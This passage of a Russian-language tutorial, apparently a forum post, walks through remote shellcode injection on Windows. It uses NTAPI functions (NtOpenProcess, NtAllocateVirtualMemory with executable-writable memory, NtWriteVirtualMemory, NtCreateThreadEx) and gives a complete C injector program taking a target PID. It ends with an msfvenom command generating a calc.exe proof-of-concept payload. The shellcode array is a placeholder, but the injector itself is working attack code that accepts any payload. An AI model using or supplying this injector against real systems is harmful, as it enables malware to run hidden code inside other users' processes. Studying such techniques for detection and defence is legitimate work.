status = xssisWriteVirtualMemory(...);
Первый параметр, ProcessHandle, представляет собой... ну, вы уже знаете.
status = xssisWriteVirtualMemory(handleProcess, ...);
Далее у нас есть BaseAddress, который представляет собой свежесозданную страницу в памяти. Для этого мы предоставим buffer.
status = xssisWriteVirtualMemory(handleProcess, buffer, ...);
Затем мы можем добавить в полезную нагрузку параметр "Buffer", поскольку именно его мы пытаемся записать на страницу:
status = xssisWriteVirtualMemory(handleProcess, buffer, shellcode, ...);
Далее у нас есть BufferSize, это размер нашей полезной нагрузки - shellcodeSize:
status = xssisWriteVirtualMemory(handleProcess, buffer, shellcode, sizeof(shellcode), ...);
Наконец, у нас есть указатель на количество записанных байт. Он нам не нужен, но я люблю включать его для наглядности.
C:
status = xssisWriteVirtualMemory(handleProcess, buffer, shellcode, sizeof(shellcode), &bytesWritten);
if (status != STATUS_SUCCESS) {
printf("%s Не удалось записать в выделенный буфер, ошибка: 0x%x\n", minus, status);
return 1;
}
printf("%s Записано %zu байт в выделенный буфер\n", plus, bytesWritten);
Я не буду рассматривать NtCreateThreadEx, потому что я уже рассказывал о ней в первой части статьи, где мы заменили одну функцию Win32 API на ее NTAPI-аналог в программе для DLL-инъекции.
После этого нам остается только дождаться завершения потока:
C:
printf("%s Дескриптор потока получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleThread);
printf("%s Ожидание завершения выполнения потока\n", asterisk);
WaitForSingleObject(handleThread, INFINITE);
printf("%s Поток завершил выполнение\n\n", plus);
printf("%s Очистка\n", asterisk);
if (handleThread) {
printf("%s Закрытие дескриптора потока\n", asterisk);
CloseHandle(handleThread);
}
if (handleProcess) {
printf("%s Закрытие дескриптора процесса\n", asterisk);
CloseHandle(handleProcess);
}
printf("%s Завершено\n", plus);
return 0;
}
C:
#include "headerFile.h"
HMODULE getMod(IN LPCWSTR modName) {
HMODULE handleModule = NULL;
printf("%s Попытка получить дескриптор %S\n", asterisk, modName);
handleModule = GetModuleHandleW(modName);
if (handleModule == NULL) {
printf("%s Не удалось получить дескриптор модуля, ошибка: 0x%lx\n", minus, GetLastError());
return NULL;
}
else {
printf("%s Дескриптор модуля получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleModule);
return handleModule;
}
}
int main(int argc, char* argv[]) {
NTSTATUS status;
DWORD processID = NULL;
PVOID buffer = NULL;
HANDLE handleProcess = NULL;
HANDLE handleThread = NULL;
HMODULE handleNTDLL = NULL;
unsigned char shellcode[] = "\x\s\s\.\i\s";
size_t shellcodeSize = sizeof(shellcode);
size_t bytesWritten = 0;
if (argc < 2) {
printf("%s Пример использования: %s <PID>\n", minus, argv[0]);
return 1;
}
processID = atoi(argv[1]);
OBJECT_ATTRIBUTES OA = { sizeof(OA), NULL };
CLIENT_ID CID = { (HANDLE)processID, NULL };
handleNTDLL = getMod(L"NTDLL");
if (handleNTDLL == NULL) {
printf("%s Не удалось получить дескриптор NTDLL, ошибка: 0x%lx\n", minus, GetLastError());
return 1;
}
printf("%s Получаем прототипы функций\n\n", asterisk);
NtOpenProcess xssisOpenProcess = (NtOpenProcess)GetProcAddress(handleNTDLL, "NtOpenProcess");
printf("%s NtOpenProcess получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisOpenProcess);
NtAllocateVirtualMemory xssisAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(handleNTDLL, "NtAllocateVirtualMemory");
printf("%s NtAllocateVirtualMemory получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisAllocateVirtualMemory);
NtWriteVirtualMemory xssisWriteVirtualMemory = (NtWriteVirtualMemory)GetProcAddress(handleNTDLL, "NtWriteVirtualMemory");
printf("%s NtWriteVirtualMemory получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisWriteVirtualMemory);
NtCreateThreadEx xssisCreateThreadEx = (NtCreateThreadEx)GetProcAddress(handleNTDLL, "NtCreateThreadEx");
printf("%s NtCreateThreadEx получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, xssisCreateThreadEx);
printf("%s Все прототипы функций заполнены\n\n", plus);
printf("%s Получаем дескриптор процесса (%ld)\n", asterisk, processID);
status = xssisOpenProcess(&handleProcess, PROCESS_ALL_ACCESS, &OA, &CID);
if (status != STATUS_SUCCESS) {
printf("%s Не удалось получить дескриптор процесса, ошибка: 0x%x", minus, status);
return 1;
}
printf("%s Дескриптор процесса получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleProcess);
status = xssisAllocateVirtualMemory(handleProcess, &buffer, NULL, &shellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (status != STATUS_SUCCESS) {
printf("%s Не удалось выделить буфер в памяти процесса, ошибка: 0x%x\n", minus, status);
return 1;
}
printf("%s Выделена область в памяти размером в %zu байт с PAGE_EXECUTE_READWRITE разрешениями\n", plus, shellcodeSize);
status = xssisWriteVirtualMemory(handleProcess, buffer, shellcode, sizeof(shellcode), &bytesWritten);
if (status != STATUS_SUCCESS) {
printf("%s Не удалось записать в выделенный буфер, ошибка: 0x%x\n", minus, status);
return 1;
}
printf("%s Записано %zu байт в выделенный буфер\n", plus, bytesWritten);
status = xssisCreateThreadEx(&handleThread, THREAD_ALL_ACCESS, &OA, handleProcess, (PTHREAD_START_ROUTINE)buffer, NULL, 0, 0, 0, 0, NULL);
if (status != STATUS_SUCCESS) {
printf("%s Не удалось создать новый поток, ошибка: 0x%x\n", minus, status);
return 1;
}
printf("%s Дескриптор потока получен\n", plus);
printf("%s ---> 0x%p\n\n", asterisk, handleThread);
printf("%s Ожидание завершения выполнения потока\n", asterisk);
WaitForSingleObject(handleThread, INFINITE);
printf("%s Поток завершил выполнение\n\n", plus);
printf("%s Очистка\n", asterisk);
if (handleThread) {
printf("%s Закрытие дескриптора потока\n", asterisk);
CloseHandle(handleThread);
}
if (handleProcess) {
printf("%s Закрытие дескриптора процесса\n", asterisk);
CloseHandle(handleProcess);
}
printf("%s Завершено\n", plus);
return 0;
}
Выполнение инъекции
Наконец, мы можем выполнить инъекцию. Я использую калькуляторный PoC шелл-код из msfvenom:msfvenom --platform windows --arch x64 -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f csharp EXITFUNC=thread
Вот мы и выполнили инъекцию, используя только NTAPI-аналоги функций из Win32 API. Еще более низкий уровень - это системные вызовы, о них поговорим в следующий раз. Всем спасибо за внимание.
Последнее редактирование: